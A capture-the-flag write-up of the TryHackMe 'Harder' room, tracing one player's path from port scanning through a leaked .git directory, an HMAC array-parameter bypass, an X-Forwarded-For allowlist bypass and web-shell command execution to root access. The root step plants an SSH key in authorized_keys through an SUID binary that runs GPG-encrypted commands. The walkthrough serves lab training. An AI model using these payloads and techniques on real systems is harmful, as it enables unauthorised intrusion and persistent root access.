Harder TryHackMe Write Up
Room Link: https://tryhackme.com/room/harder
Introduction
Tags: Alpine, Real World, Git, Seclists
Task 1:
The machine is completely inspired by real world pentest findings. Perhaps you will consider them very challenging but without any rabbit holes. Once you have a shell it is very important to know which underlying Linux distribution is used and where certain configurations are located.
Hints to the initial foothold: Look closely at every request. Re-scan all newly found web services/folders and may use some wordlists from seclists (https://tools.kali.org/password-attacks/seclists). Read the source with care.
Port Scan
$ nmap -sC -sV <ip>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
80/tcp open http nginx 1.18.0
|\_http-server-header: nginx/1.18.0
|\_http-title: Error
Looking at the result of the nmap, we only have two ports open. As ssh doesn’t have that much of a attack surface, lets test port 80.
PORT 80
I tried to look for files like robots.txt ,sitemap.xml and also for the files like index.php, index.html, index.pl to get the idea of what the backend server might be running. But they all gave the same 404 error page.
Looking at the left bottom of the page, we know that the site is running php-fpm.
So next logical step will be using gobuster to find out the files and directories on the website.
GOBUSTER
$ gobuster dir -u [http://10.10.149.170/](http://10.10.149.170/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves ([@TheColonial](http://twitter.com/TheColonial)) & Christian Mehlmauer ([@_FireFart_](http://twitter.com/_FireFart_))
===============================================================
[+] Url: [http://10.10.149.170/](http://10.10.149.170/)
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/08/17 12:02:15 Starting gobuster
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. [http://10.10.149.170/e1e7c995-4c41-444a-a052-d5bd9bfef79d](http://10.10.149.170/e1e7c995-4c41-444a-a052-d5bd9bfef79d) => 200. To force processing of Wildcard responses, specify the '--wildcard' switch
As we are getting response OK (200) for each page that doesn’t exists, we cant enumerate files and folder using gobuster.
Whenever we see unusual pattern, it is always better to analyse the request using Burp Suite.
Analyzing request over Burp Suite
Request
GET / HTTP/1.1
Host: 10.10.149.170
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Connection: close
Response
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 17 Aug 2020 06:27:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.19
Set-Cookie: TestCookie=just+a+test+cookie; expires=Mon, 17-Aug-2020 07:27:20 GMT; Max-Age=3600; path=/; **domain=pwd.harder.local**; secure
Content-Length: 1985
Looking at the response headers, we now know the exact version of nginx and PHP on the webserver and we found a new virtual host on the server.
So, we add the entry on our /etc/hosts file.
10.10.149.170 pwd.harder.local
Visiting pwd.harder.local
We get a login page. Till now we do not have any credentials to try on this login page. But before thinking of brute forcing, I always like to try some common credentials like admin admin , admin password and so on. And with username as admin and password as admin, we get in.
Running Gobuster on this site.
$ gobuster dir -u [http://pwd.harder.local/](http://pwd.harder.local/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
/index.php
/auth.php
/secret.php
But I didn’t get anything by visiting the found sites.
And then I remembered the tag on the room ie. git. So, I thought if this is a git repository, there might a .git folder.
And we get 403 forbidden.
Then to make sure, I tried to open a link that doesn’t exists.
So, there is definitely a .git directory on the server.
So, I used a tool called git-dumper to download all the files.
$ /opt/git-dumper/git-dumper.py [http://pwd.harder.local/](http://pwd.harder.local/) git-src
[-] Testing [http://pwd.harder.local/.git/HEAD](http://pwd.harder.local/.git/HEAD) [200]
[-] Testing [http://pwd.harder.local/.git/](http://pwd.harder.local/.git/) [403]
.......
.......
[-] Fetching [http://pwd.harder.local/.git/objects aa/938abf60c64cdb2d37d699409f77427c1b3826](http://pwd.harder.local/.git/objects/aa/938abf60c64cdb2d37d699409f77427c1b3826) [200]
[-] Fetching [http://pwd.harder.local/.git/objects/be/c719ffb34ca3d424bd170df5f6f37050d8a91c](http://pwd.harder.local/.git/objects/be/c719ffb34ca3d424bd170df5f6f37050d8a91c) [200]
[-] Running git checkout .
Downloaded files and folders
$ ls -an git-src/
total 48
drwxr-xr-x 3 1000 1000 4096 Aug 17 12:29 .
drwxr-xr-x 9 1000 1000 4096 Aug 17 12:29 ..
-rw-r--r-- 1 1000 1000 23820 Aug 17 12:29 auth.php
drwxr-xr-x 7 1000 1000 4096 Aug 17 12:29 .git
-rw-r--r-- 1 1000 1000 27 Aug 17 12:29 .gitignore
-rw-r--r-- 1 1000 1000 431 Aug 17 12:29 hmac.php
-rw-r--r-- 1 1000 1000 608 Aug 17 12:29 index.php
Content inside index.php
<?php
session_start();
require("auth.php");
$login = new Login;
$login->authorize();
require("hmac.php");
require("credentials.php");
?>
<table style="border: 1px solid;">
<tr>
<td style="border: 1px solid;">url</td>
<td style="border: 1px solid;">username</td>
<td style="border: 1px solid;">password (cleartext)</td>
</tr>
<tr>
<td style="border: 1px solid;"><?php echo $creds[0]; ?></td>
<td style="border: 1px solid;"><?php echo $creds[1]; ?></td>
<td style="border: 1px solid;"><?php echo $creds[2]; ?></td>
</tr>
</table>
Here, it includes a file auth.php and is calling a method authorize in the file auth.php, and it is including files hmac.php and credentials.php. And at last, it prints out the URL, username and password.
We have files auth.php and hmac.php locally but we don’t have the file credentials.php.
Contents inside auth.php
auth.php has a lot of content. To summarize, it tries to login with username and password provided by user and the requests dies if the username is not equal to admin and password not equal to admin.
<?php define('LOGIN_USER', "admin");
define('LOGIN_PASS', "admin");
Contents inside hmac.php
<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
header('HTTP/1.0 400 Bad Request');
print("missing get parameter");
die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
$secret = hash\_hmac('sha256', $_GET['n'], $secret);
}$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
header('HTTP/1.0 403 Forbidden');
print("extra security check failed");
die();
}
?>
Here the script first checks if either $_GET[‘h’] or $_GET[‘host’] is empty. If one of them is empty, it print something and connection dies.
Then it includes a file secret.php, which we don’t have in the git repository.
Then if the $_GET[‘n’] is not empty, it generates a SHA256 hash value using HMAC method and the key is included from secret.php file and the new hash is kept on variable $secret.
Now using that hash in $secret as a key, SHA256 hash of $_GET[‘host’] parameter is generated and stored in variable $hm.
And finally if $hm is not equal to $_GET[‘h’], the connection dies.
So now we have to predict the final result and pass it on $_GET[‘h’]. Seems impossible right, as we don’t know what is the content of that secret.php file.
And while I was looking around to bypass our condition, I came across this article which explains how we can bypass this condition.
What it does it, pass $_GET[’n’] as array which in turns gives the value of $secret as false.
php> $secret = hash_hmac('sha256', Array(), "SecretKey");
php> echo $secret == false
1
Read the article for understanding of how this concept works.
Final payload
/?n[]=&host=securify.nl&h=c8ef9458af67da9c9086078ad3acc8ae71713af4e27d35fd8d02d0078f7ca3f5
And we get the credentials
url:http://shell.harder.htb
username:evs
password:<password>
Looking at the URL, it was a little bit weird.It looks like an URL that you usually see on Hack The Box platform.
Having doubts on my mind, I added the entry on my /etc/hosts file which later, I regretted very much.
10.10.149.170 pwd.harder.local shell.harder.htb
Shell.harder.htb
We get the same page that we have got earlier. Now thinking the shell on the URL, I thought there was some kind of webshell. But I couldn’t enumerate the files and folders here. But as I was fuzzing around, i found something interesting.
/Index.php gives 404 nothing here page with response code 200
/this_page_doesnot_exists.php gives 404 not found
So looks like we can enumerate the .php files on the web server.
So first thing I tried the PHP Backdoor shells using Gobuster.
The wordlist that I used can be found here.
$ gobuster dir -u [http://shell.harder.htb/](http://shell.harder.htb/) -w /opt/SecLists-master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt --wildcard
But I got nothing.
Then I used wfuzz to find if there are any other PHP files.
$ wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 [http://shell.harder.htb/FUZZ.php](http://shell.harder.htb/FUZZ.php)000000001: 200 73 L 166 W 1985 Ch "index"
000000002: 200 959 L 5171 W 86626 Ch "phpinfo"
I visited both links, and apart from the information on phpinfo, I did not get any hint of a web shell.
Thinking that these files may need parameters for command execution, I used Burp to fuzz the parameters.
GET /index.php?§cmd§=ls%20-la%20/ HTTP/1.1
Host: shell.harder.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Connection: close
Used wordlist
/opt/SecLists-master/Discovery/Web-Content/burp-parameter-names.txt
But I got nothing. And when I was just about to give up, my friend gave me a hint that somethings are not what they look like. At this point in time, I was completely out of mind and forgotten that the URL looked weird. Then after my friend’s suggestion, I made the sane decision of adding shell.harder.local to my /etc/hosts file.
10.10.149.170 pwd.harder.local shell.harder.htb shell.harder.local
Shell.harder.local
Finally, I got a login page. I logged in using the credentials I had got earlier and got this message.
Intercepting the request with burp
Request
POST /index.php HTTP/1.1
Host: shell.harder.local
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: [http://shell.harder.local](http://shell.harder.local)
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: [http://shell.harder.local/](http://shell.harder.local/)
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: PHPSESSID=4ruidq12b5nl2hegfdkgpckep8
Connection: closeaction=set_login&user=evs&pass=<password>
Searching around I found different headers that can be used to bypass this check.
And X-Forwareded-For did the trick.
Request
POST /index.php HTTP/1.1
Host: shell.harder.local
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: [http://shell.harder.local](http://shell.harder.local)
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 10.10.10.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: [http://shell.harder.local/](http://shell.harder.local/)
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: PHPSESSID=4ruidq12b5nl2hegfdkgpckep8
Connection: closeaction=set_login&user=evs&pass=<password>
Response
<div class="container"><div class="pb-2 mt-4 mb-2">
<h2> Execute a command </h2>
</div><form method="POST">
<div class="form-group">
<label for="cmd"><strong>Command</strong></label>
<input type="text" class="form-control" name="cmd" id="cmd" value="" required>
</div>
<button type="submit" class="btn btn-primary">Execute</button>
</form><div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre><small>No result.</small></pre>
</div>
So now, we can execute command by using post method using parameter cmd.
POST Request Parameter
action=set_login&user=evs&pass=<password>&cmd=ls -la
Partial Response
total 44
drwxr-xr-x 1 www www 4096 Oct 3 2019 .
drwxr-xr-x 1 www www 4096 Jul 7 22:28 ..
-rw-r--r-- 1 www www 23838 Oct 3 2019 auth.php
-rw-r--r-- 1 www www 2014 Oct 3 2019 index.php
-rw-r--r-- 1 www www 275 Oct 3 2019 ip.php
drwxr-xr-x 4 www www 4096 Oct 3 2019 vendor
Now the next step would be to get a reverse shell. I normally use this reverse shell cheat sheet to get the reverse shell.
There was no bash on the server but there was netcat and python3. So, I tried those payloads to get the reverse shell. But for some reason, I was just getting the connection back but no shell. So after trying for some time, I left and started manual enumeration.
And after searching for a long time, I got a evs-backup.sh file, having login credentials for evs.
POST Request Parameter
action=set_login&user=evs&pass=<password>&cmd=find / -type f -name "*.sh" 2>/dev/null
Partial Response
/usr/bin/findssl.sh
/usr/local/bin/run-crypted.sh
/etc/periodic/15min/evs-backup.sh
/dev/shm/linpeas.sh
File contents
POST Request Parameter
action=set_login&user=evs&pass=<password>&cmd=cat /etc/periodic/15min/evs-backup.sh
Partial Response
#!/bin/ash
#ToDo: create a backup script, that saves the /www directory to our internal server
# for authentication use ssh with user "evs" and password "<password-redacted>"
**evs:
Lets try to login with ssh and finally we get in.
$ ssh evs@10.10.171.102
evs@10.10.171.102's password: <password>
Welcome to Alpine!The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See http://wiki.alpinelinux.org/.You can setup the system with the command: setup-alpineYou may change this message by editing /etc/motd.
harder:~$
Reading user.txt
Privilage Escalation
Using linpeas.sh
Copying linpeas.sh to the box
$ scp linpeas.sh evs@10.10.171.102:/dev/shm/linpeas.sh
evs@10.10.171.102's password:
linpeas.sh
Executing linpeas.sh
$ sh /dev/shm/linpeas.sh
Interesting files found from result of linpeas.sh
-rwsr-x--- 1 root evs /usr/local/bin/execute-crypted
-rwxr-x--- 1 root evs /usr/local/bin/run-crypted.sh
-rwxr-x--- 1 root evs /var/backup/root@harder.local.pub
First file /usr/local/bin/execute-crypted is owned by root and has SUID bit enabled which can be potential vector for our priv esc.
Running /usr/local/bin/execute-crypted
harder:/dev/shm$ /usr/local/bin/execute-crypted
[*] Current User: root
[-] This program runs only commands which are encypted for root@harder.local using gpg.
[-] Create a file like this: echo -n whoami > command
[-] Encrypt the file and run the command: execute-crypted command.gpg
harder:/dev/shm$
The output says
- It is currently running as root.
- It runs files which are encrypted for root@harder.local and files can be executed as execute-crypted <encrypted-file.gpg>.
So we need a public GPG key to encrypt our payload and only we can have command execution as root.
Checking for keys
harder:/dev/shm$ gpg --list-keys
harder:/dev/shm$
NO keys were found.
But if we checked the result from linpeas.sh, we have a file /var/backup/root@harder.local.pub containing the public key.
Content of /var/backup/root@harder.local.pub
-----BEGIN PGP PUBLIC KEY BLOCK-----
mDMEXwTf8RYJKwYBBAHaRw8BAQdAkJtb3UCYvPmb1/JyRPADF0uYjU42h7REPlOK
AbiN88i0IUFkbWluaXN0cmF0b3IgPHJvb3RAaGFyZGVyLmxvY2FsPoiQBBMWCAA4
FiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwMFCwkIBwIGFQoJCAsCBBYC
AwECHgECF4AACgkQyR1mFZRPaHSt8wD8CvJLt7qyCXuJZdOBPR+X7GI2dUg0DRRu
c5gXzwk3rMMA/0JK6ZwZCHObWjwX0oLc3jvOCgQiIdaPq1WqN9/fhLAKuDgEXwTf
8RIKKwYBBAGXVQEFAQEHQNa/To/VntzySOVdvOCW+iGscTLlnsjOmiGaaWvJG14O
AwEIB4h4BBgWCAAgFiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwwACgkQ
yR1mFZRPaHTMLQD/cqbV4dMvINa/KxATQDnbaln1Lg0jI9Jie39U44GKRIEBAJyi
+2AO+ERYahiVzkWwTEoUpjDJIv0cP/WVzfTvPk0D
=qaa6
-----END PGP PUBLIC KEY BLOCK-----
Importing the key
harder:/dev/shm$ gpg --import /var/backup/root@harder.local.pub
gpg: key C91D6615944F6874: public key "Administrator <root@harder.local>" imported
gpg: Total number processed: 1
gpg: imported: 1
Now listing keys
harder:/dev/shm$ gpg --list-keys
/home/evs/.gnupg/pubring.kbx
----------------------------
pub ed25519 2020-07-07 [SC]
6F99621E4D64B6AFCE56E864C91D6615944F6874
uid [ unknown] Administrator <root@harder.local>
sub cv25519 2020-07-07 [E]
harder:/dev/shm$
Creating payload
Generating ssh key pairs on local computer
$ ssh-keygen -f root
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root.
Your public key has been saved in root.pub.
On remote box, creating a directory /root/.ssh and copying root.pub from our local box to /root/.ssh/authorized_keys
Contents of file commands
#!/bin/sh
mkdir /root/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4naClwknGPG6EXz29MFZEEO1/4n7uo6GiOC/5eh8xDFgmUjulNxcVREUiEGEB+KrE3W7ZHQ+spri9JhcZ7QRK5cEq1HfbdcXLJEPgDimkeG1wktsOYlg4Xj1pjZOGzPVj0SAO8QZmEfiiB7aYsDYXK2z3bM1rjcdgB48CWFwCd7gMwFgoDCqsWDCfQsSlaXl459y3xdYfSfb1ZPszQlOohWKWANdqwZTHGtHybuGLtb1gbeg5z55gx1C7OBeYIWkYCR0zVzLzwJem1UaLOPsWvvg4mzSdOVSB//dL/T87yQkt2Pv6dDw8zvuAlaXIbFOw02uBobIIYVpJVtrUC47yNMBFSpAfPIZX/IpN8XgRhRr5imBCH2N8u3zMYhgBb6yUKS0cR55SJUzdojNi+s0X0pJeNtKiWB4Q3at3pHe/KffkGBZfEJ/98GIig6arVWw3z/5tRDhePhrpIlGG1nPtAN6NruC3Sap5YfJAmSiQEcQqMFAqlsoTYxTY4RE1Cqc=" >>/root/.ssh/authorized_keys
Encrypting the file with GPG public key
harder:/dev/shm$ gpg -e -r "Administrator" commands
gpg: 6C1C04522C049868: There is no assurance this key belongs to the named usersub cv25519/6C1C04522C049868 2020-07-07 Administrator <root@harder.local>
Primary key fingerprint: 6F99 621E 4D64 B6AF CE56 E864 C91D 6615 944F 6874
Subkey fingerprint: E51F 4262 1DB8 87CB DC36 11CD 6C1C 0452 2C04 9868It is NOT certain that the key belongs to the person named
in the user ID. If you *really* know what you are doing,
you may answer the next question with yes.Use this key anyway? (y/N) y
harder:/dev/shm$
Execution
harder:/dev/shm$ /usr/local/bin/execute-crypted /dev/shm/commands.gpg
gpg: encrypted with 256-bit ECDH key, ID 6C1C04522C049868, created 2020-07-07
"Administrator <root@harder.local>"
harder:/dev/shm$
Now lets try to ssh from our box
$ ssh -i root root@10.10.171.102
Welcome to Alpine!The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See http://wiki.alpinelinux.org/.You can setup the system with the command: setup-alpineYou may change this message by editing /etc/motd.
harder:~#
And we are root.
Reading root.txt
This box really tested my patience at times. I really had to try harder to get my way in. And I wanted to thank my friend for helping me out when I was having a hard time.
A lot of thanks to the creator of this wonderful room and thanks to you for reading this write up. I hope you have enjoyed reading it. Reply if you have any suggestions regarding the write up.
This article was first published on medium and regenerated using npm module medium-to-markdown.
You can read my article on medium